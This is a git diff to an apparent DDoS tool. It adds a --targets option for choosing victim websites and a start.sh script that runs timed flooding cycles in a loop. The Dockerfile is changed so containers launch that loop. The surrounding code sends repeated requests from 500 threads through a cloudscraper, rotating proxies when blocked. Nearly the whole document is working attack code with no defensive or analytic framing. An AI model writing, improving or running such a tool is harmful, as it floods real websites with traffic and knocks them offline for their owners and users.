diff --git a/Dockerfile b/Dockerfile index 895bc78..18939a7 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,10 +1,9 @@ # Base image FROM python:latest -COPY *.py /nowarddos/ -COPY requirements.txt /nowarddos/ +COPY . /nowarddos/ WORKDIR /nowarddos RUN pip install -r requirements.txt -ENTRYPOINT ["python", "/nowarddos/updater.py"] +ENTRYPOINT ["/bin/sh", "start.sh"] diff --git a/attack.py b/attack.py index 490afa6..14929db 100644 --- a/attack.py +++ b/attack.py @@ -39,6 +39,8 @@ def clear(): parser.add_argument('threads', nargs='?', default=500) parser.add_argument("-n", "--no-clear", dest="no_clear", action='store_true') parser.add_argument("-p", "--proxy-view", dest="proxy_view", action='store_true') +parser.add_argument("-t", "--targets", dest="targets", nargs='+', default=[]) +parser.set_defaults(verbose=False) parser.add_argument("-lo", "--logger-output", dest="logger_output") parser.add_argument("-lr", "--logger-results", dest="logger_results") parser.set_defaults(no_clear=False) @@ -48,6 +50,8 @@ def clear(): args, unknown = parser.parse_known_args() no_clear = args.no_clear proxy_view = args.proxy_view + +targets = args.targets threads = int(args.threads) logger.remove() @@ -61,7 +65,6 @@ def clear(): {line} - {message}", level="SUCCESS") - def checkReq(): os.system("python3 -m pip install -r requirements.txt") os.system("python -m pip install -r requirements.txt") @@ -122,6 +125,9 @@ def mainth(): else: sleep(5) continue + + site = unquote(choice(targets) if targets else data['site']['page']) + logger.info("STARTING ATTACK TO " + site) logger.info("STARTING ATTACK ON " + data['site']['page']) site = unquote(data['site']['page']) if site.startswith('http') == False: @@ -130,7 +136,7 @@ def mainth(): attacks_number = 0 try: - attack = scraper.get(site) + attack = scraper.get(site, timeout=10) if attack.status_code >= 302: for proxy in data['proxy']: @@ -141,13 +147,13 @@ def mainth(): response = scraper.get(site) if response.status_code >= 200 and response.status_code <= 302: for i in range(MAX_REQUESTS): - response = scraper.get(site) + response = scraper.get(site, timeout=10) attacks_number += 1 logger.info("ATTACKED; RESPONSE CODE: " + str(response.status_code)) else: for i in range(MAX_REQUESTS): - response = scraper.get(site) + response = scraper.get(site, timeout=10) attacks_number += 1 logger.info("ATTACKED; RESPONSE CODE: " + str(response.status_code)) diff --git a/start.sh b/start.sh new file mode 100755 index 0000000..d73a1ea --- /dev/null +++ b/start.sh @@ -0,0 +1,26 @@ +DEFAULT_THREADS=500 +DEFAULT_ATTACK_TIME=90 +DEFAULT_PAUSE=30 + +THREADS=${1:-$DEFAULT_THREADS} +ATTACK_TIME=${2:-$DEFAULT_ATTACK_TIME}; +PAUSE=${3:-$DEFAULT_PAUSE}; + +handler() +{ + echo "\n\n\n\nHanled SIGINT Killing: "$!"\n\n\n\n"; + pkill -9 -f Python; + break; +} + +trap handler SIGINT; + +while true; +do + echo "\n\n\n\nStarting attack for "$ATTACK_TIME" seconds...\n\n\n\n"; + python3 updater.py $THREADS -v -n -p & sleep $ATTACK_TIME; + pkill -9 -f Python; + echo "\n\n\n\nKilled: "$!"\n"; + echo "Waiting: "$PAUSE" seconds...\n\n\n\n"; + sleep $PAUSE; +done \ No newline at end of file